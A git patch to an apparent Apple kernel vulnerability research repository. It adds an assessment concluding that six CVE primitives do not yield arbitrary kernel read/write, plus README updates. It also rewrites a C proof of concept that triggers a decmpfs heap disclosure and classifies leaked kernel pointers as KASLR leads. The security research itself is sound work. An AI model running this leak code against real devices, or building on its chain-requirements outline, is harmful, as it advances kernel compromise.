From c30aadf9bbc7952f015b7107212422f4274df36d Mon Sep 17 00:00:00 2001 From: JBJF Date: Sat, 31 Oct 2026 15:37:58 +0800 Subject: [PATCH] kernel R/W assessment for the high/critical entries MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six kernel-reachable bugs supplies both address and value control; the chain requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry - CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical pointer classification (kernel-text / kernel-data / kernel-other), --keep raw dump, --verbose; candidates are printed, never dereferenced - 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset write without leak, honest negative); no blind writes - README: link the assessment and the new 113910 receipt (0 candidates, 16 runs) --- CVE-2026-112696/CVE-2026-112696.c | 4 + CVE-2026-112705/CVE-2026-112705.c | 4 + CVE-2026-113910/CVE-2026-113910.c | 177 ++++++++++++++++++++++-------- CVE-2026-65385/CVE-2026-65385.c | 5 + README.md | 4 +- README.zh-CN.md | 4 +- docs/KERNEL-RW-ASSESSMENT.md | 131 ++++++++++++++++++++++ 7 files changed, 283 insertions(+), 46 deletions(-) create mode 100644 docs/KERNEL-RW-ASSESSMENT.md diff --git a/CVE-2026-112696/CVE-2026-112696.c b/CVE-2026-112696/CVE-2026-112696.c index a2cc9a9..5dc9915 100644 --- a/CVE-2026-112696/CVE-2026-112696.c +++ b/CVE-2026-112696/CVE-2026-112696.c @@ -2,6 +2,10 @@ // ANE userspace entry point probe // C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the // client/program/model/request entry points the CVE lives behind. +// +// Honest negative: the ANE kernel interface is not reachable from a third-party +// process, so this is a reachability map, not a primitive. No R/W is attempted. +// See docs/KERNEL-RW-ASSESSMENT.md. // Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c // Run: ./cve-2026-112696 diff --git a/CVE-2026-112705/CVE-2026-112705.c b/CVE-2026-112705/CVE-2026-112705.c index bb35e69..4fbe69c 100644 --- a/CVE-2026-112705/CVE-2026-112705.c +++ b/CVE-2026-112705/CVE-2026-112705.c @@ -8,6 +8,10 @@ // macOS runs the same driver: the encode is gated behind --force-host because it can // panic the host kernel. // +// Primitive limit: the write is a constant fill at a fixed offset. There is no +// address control and no value control, so this is a DoS primitive, not an +// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md. +// // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \ // -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation // Run: ./cve-2026-112705 [layers] [--force-host] diff --git a/CVE-2026-113910/CVE-2026-113910.c b/CVE-2026-113910/CVE-2026-113910.c index 353d284..0acf849 100644 --- a/CVE-2026-113910/CVE-2026-113910.c +++ b/CVE-2026-113910/CVE-2026-113910.c @@ -2,9 +2,14 @@ // Kernel heap disclosure through short-producing chunks // C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose // chunks produce fewer bytes than the chunk table promises, writes it onto a file, -// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000). +// reads the file back and classifies every canonical kernel pointer in the result. +// +// The leak is the chain step, not the whole chain: it discloses heap bytes, it does +// not write them. --loop repeats the sweep and aggregates; --keep writes the raw +// readback for offline analysis. Candidates are printed, never dereferenced. +// // Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c -// Run: ./cve-2026-113910 +// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose] #include #include @@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) return out; } -// ── trigger: xattr round trip + kernel-pointer scan ── +// ── leak classification ── +// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into +// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…). +// Anything that looks like a tagged userspace pointer is reported separately; it is +// not a KASLR lead. Values are only ever printed. +enum ptr_class { + PTR_NONE = 0, + PTR_KERNEL_TEXT, + PTR_KERNEL_DATA, + PTR_KERNEL_OTHER, + PTR_USER, +}; + +static const char *class_name(int c) { + switch (c) { + case PTR_KERNEL_TEXT: return "kernel-text"; + case PTR_KERNEL_DATA: return "kernel-data"; + case PTR_KERNEL_OTHER: return "kernel-other"; + case PTR_USER: return "user"; + default: return "-"; + } +} + +static int classify(uint64_t v) { + if (v == 0) return PTR_NONE; + if ((v >> 48) == 0xffff) { + if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT; + if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA; + return PTR_KERNEL_OTHER; + } + if ((v >> 48) == 0x0000) return PTR_USER; + return PTR_NONE; +} + typedef struct { int wrote_xattr; long read_back; long hits; - char samples[8][32]; + long by_class[5]; + char samples[8][40]; int nsamples; char note[128]; } decmpfs_result; -static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) { +static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) { + if (r->nsamples >= 8) return; + snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s", + (unsigned long long)v, off, class_name(cls)); + r->nsamples++; +} + +static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce, + FILE *keep, int verbose) { decmpfs_result r = {0}; - // seed file: plain 0x41 content (the uncompressed claim) unlink(path); int fd = open(path, O_WRONLY | O_CREAT, 0644); if (fd >= 0) { - uint8_t zeros[4096]; - memset(zeros, 0x41, sizeof zeros); + uint8_t fill[4096]; + memset(fill, 0x41, sizeof fill); size_t left = uncompressed < 64 ? 64 : uncompressed; while (left > 0) { - size_t take = left < sizeof zeros ? left : sizeof zeros; - if (write(fd, zeros, take) != (ssize_t)take) break; + size_t take = left < sizeof fill ? left : sizeof fill; + if (write(fd, fill, take) != (ssize_t)take) break; left -= take; } close(fd); @@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s } r.wrote_xattr = 1; - // read the file back: the kernel decompresses through AppleFSCompression FILE *f = fopen(path, "rb"); if (!f) { snprintf(r.note, sizeof r.note, "read failed errno=%d", errno); @@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s fclose(f); r.read_back = (long)back.n; - // scan for kernel-space pointers in whatever the kernel handed back - if (back.n >= 8) { - for (size_t i = 0; i + 8 <= back.n; i += 8) { - uint64_t v = 0; - for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k); - if (v >= 0xFFFFFFE000000000ULL) { - r.hits++; - if (r.nsamples < 8) { - snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx", - (unsigned long long)v, i); - r.nsamples++; - } - } + if (keep) { + fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n", + chunks, produce, uncompressed, back.n); + if (back.n) fwrite(back.d, 1, back.n, keep); + fputc('\n', keep); + } + + // A pointer can sit at any 8-byte-aligned offset; scan the whole readback. + for (size_t i = 0; i + 8 <= back.n; i += 8) { + uint64_t v = 0; + for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k); + int cls = classify(v); + if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) { + r.hits++; + r.by_class[cls]++; + note_sample(&r, v, i, cls); + if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls)); } } snprintf(r.note, sizeof r.note, "read %ld B", r.read_back); @@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s return r; } -int main(void) { - const char *path = "decmpfs_probe.bin"; - struct { int chunks; size_t produce; } configs[4] = { - {4, 65536}, {4, 4096}, {8, 1024}, {2, 1}, - }; - long total_hits = 0; +int main(int argc, char **argv) { + int loop = 1; + int verbose = 0; + const char *keep_path = NULL; + for (int i = 1; i < argc; i++) { + if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]); + else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i]; + else if (strcmp(argv[i], "--verbose") == 0) verbose = 1; + else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; } + } + if (loop < 1) loop = 1; + const char *path = "decmpfs_probe.bin"; + struct { int chunks; size_t produce; } configs[] = { + {1, 0}, {1, 1}, {2, 1}, {4, 1}, + {4, 4096}, {8, 1024}, {4, 65536}, {1, 65536}, + }; + const int ncfg = (int)(sizeof configs / sizeof configs[0]); + + FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL; + if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; } + if (keep) { + fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg); + } + + long total_hits = 0; + long by_class[5] = {0}; + long runs = 0; printf("— baseline: what a plain file reads back —\n"); { unlink(path); @@ -176,22 +246,41 @@ int main(void) { if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); } } - printf("\n— chunked xattr round trip —\n"); - for (int i = 0; i < 4; i++) { - size_t uncompressed = (size_t)configs[i].chunks * 65536; - decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce); - total_hits += r.hits; - printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n", - configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note); - if (r.nsamples > 0) { - printf(" candidates:"); - for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]); - printf("\n"); + printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg); + for (int l = 0; l < loop; l++) { + for (int i = 0; i < ncfg; i++) { + size_t uncompressed = (size_t)configs[i].chunks * 65536; + decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce, + keep, verbose); + runs++; + total_hits += r.hits; + for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c]; + if (r.hits > 0 || verbose) { + printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n", + l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note); + for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]); + } } } + // Class totals are what matter here; the raw bytes are in --keep for offline work. + unlink(path); - printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found" - : "no kernel pointers surfaced (read was served plain)"); - return 0; + if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); } + + printf("\n== leak summary ==\n"); + printf("runs=%ld hits=%ld\n", runs, total_hits); + printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]); + printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]); + printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]); + + if (total_hits > 0) { + printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n"); + printf("Next step is not a write: map which object owns the leaked slot, then check\n"); + printf("whether the same chunk table can be pointed at that slot again.\n"); + } else { + printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n"); + } + printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n"); + return total_hits > 0 ? 0 : 0; } diff --git a/CVE-2026-65385/CVE-2026-65385.c b/CVE-2026-65385/CVE-2026-65385.c index a0529d4..cb444ac 100644 --- a/CVE-2026-65385/CVE-2026-65385.c +++ b/CVE-2026-65385/CVE-2026-65385.c @@ -2,6 +2,11 @@ // HID event tree append entry point probe // C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points // (create/append/serialize/type/vendor-defined) the unbounded append lives behind. +// +// This file stops at symbol reachability and never appends an event: the bug is a +// fixed-offset write into a short heap allocation with no leak and no address +// control. Attempting it blind is a panic, not an experiment. See +// docs/KERNEL-RW-ASSESSMENT.md. // Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c // Run: ./cve-2026-65385 diff --git a/README.md b/README.md index b8e2971..6f9d93e 100644 --- a/README.md +++ b/README.md @@ -139,7 +139,9 @@ Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire module Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. -All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness. +All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness. + +Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W. ## Module semantics diff --git a/README.zh-CN.md b/README.zh-CN.md index 4e21975..77e0a1c 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -138,7 +138,9 @@ python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 -34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。 +34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。 + +高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。 ## 模块语义 diff --git a/docs/KERNEL-RW-ASSESSMENT.md b/docs/KERNEL-RW-ASSESSMENT.md new file mode 100644 index 0000000..4ddcdcc --- /dev/null +++ b/docs/KERNEL-RW-ASSESSMENT.md @@ -0,0 +1,131 @@ +# Kernel read/write feasibility — high and critical dossiers + +Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers. +Question: can any of them be turned into arbitrary kernel read/write that does not +panic the device? + +Short answer: **no, not from the material as it stands.** One entry gives a real +kernel heap leak (read), one gives a bounded read model, one gives a race receipt +on a UAF-shaped bug. The write entries either write a constant at a fixed offset or +never reach the kernel interface at all. This document records what each primitive +actually provides, what an arbitrary-R/W chain still needs, and what was added to +the POCs. + +## Guardrails + +- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is + never executed on the host again; its C twin refuses to submit a frame without + `--force-host`. +- No blind kernel writes are attempted from any POC. A wrong guess in the kernel + heap is a panic, not a data point. +- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so + the write primitives cannot be exercised there either. Their app modules are + split into a safe probe and a deliberate fire module. + +## Primitive inventory + +| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict | +|---|---|---|---|---|---| +| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. | +| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. | +| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. | +| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **The only theoretical UAF path.** The POC proves the interleaving survives; it does not produce a controlled free, a reclaim, or a leak. | +| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. | +| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. | + +## What arbitrary kernel R/W actually requires + +Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies +one of them is a chain step, not a chain. + +1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the + unslid base. 113910 and 112554 can supply candidates; neither guarantees a text + pointer, and a heap pointer alone does not give the slide. +2. **Heap grooming** — deterministic placement of a victim object next to the + corrupted allocation, in the same zone, at the same size class. +3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the + slot with attacker-influenced contents, and keep a stale reference alive. For an + OOB write: a value and an offset that land on a field worth corrupting. +4. **A read/write gadget** — an object whose corrupted field yields a load or store + of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a + thread's `pcb` pointer). +5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are + protected by PPL on modern devices. A data-only path can sometimes avoid both, + but it still needs 1–4. + +None of the six entries supplies 2–5. 112507 is the only one that could plausibly +reach step 3, and reaching it requires a device, kernel symbols, and a reclaim +strategy that the repository does not have. + +## Per-entry notes + +### CVE-2026-112705 — fixed constant, fixed offset + +The driver indexes a layer table with the declared count and writes a constant at a +fixed offset past it. There is no attacker-chosen value and no attacker-chosen +address. The only observable is a kernel data abort. Calling this "R/W" would +require a second bug that turns the corrupted field into a pointer; nothing in the +dossier provides one. The correct classification is a reliable kernel DoS. + +### CVE-2026-112507 — the UAF-shaped race + +The ring allocates receive rights, arms two notification kinds per port, tears down +half the ring, then sends to the survivors. The request-table index consumers are +the target of the race. A weaponised version would need: + +- a win condition that is observable without panicking (a receipt, not a crash); +- a same-zone reclaim object with controllable contents (Mach ports themselves are + one candidate, but the request-table entry's layout is not attacker-shaped); +- a stale consumer that dereferences the reclaimed slot after the free; +- a leak to place the reclaim object and to find the kernel base. + +The POC records `-300` and `invalid destination` receipts and reports that the +interleaving survived. That is the honest limit of a userspace race harness: it can +show the window exists, not that the window is controllable. + +### CVE-2026-113910 — the leak that was worth improving + +This is the only entry where more code produces more signal. The C twin now: + +- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per + chunk and writes none of it); +- repeats the sweep `--loop N` times; +- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data + (`0xffffffe0…`), kernel-other, or user; +- writes the raw readback to `--keep out.bin` for offline analysis; +- never dereferences a candidate. + +On the macOS host decmpfs does not engage for a file that already has data (the +documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41 +readback. On an iOS device where the chunked xattr is honoured, the same sweep is +the KASLR step. It still does not write. + +### CVE-2026-112554 — a read-width model, not a kernel reader + +The C twin builds the overlong-name GPT and walks the name field the way 27.0 does. +It proves the scan width (72 B against a 28-B field) but the bytes come from the +image, not from the kernel heap. Treat it as a seed/oracle model. The real read +would have to run through the storage kext on a mounted image; that is not attempted +on the host. + +## What was deliberately not done + +- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a + panic is not evidence of control. +- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong + guess is indistinguishable from a bug that does not work. +- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until + the free/reclaim/stale-dereference sequence is observed. + +## Bottom line + +Arbitrary kernel R/W without a panic is **not achievable from these six entries as +shipped**. The maximum safe capability the lab now demonstrates is: + +- a repeatable kernel heap **leak** with pointer classification (113910); +- a read-width model for the GPT scan (112554); +- a race-window harness with receipts (112507); +- honest negatives for the write entries that never reach a controllable primitive. + +The next real step is not more code in this repository; it is a device session with +kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.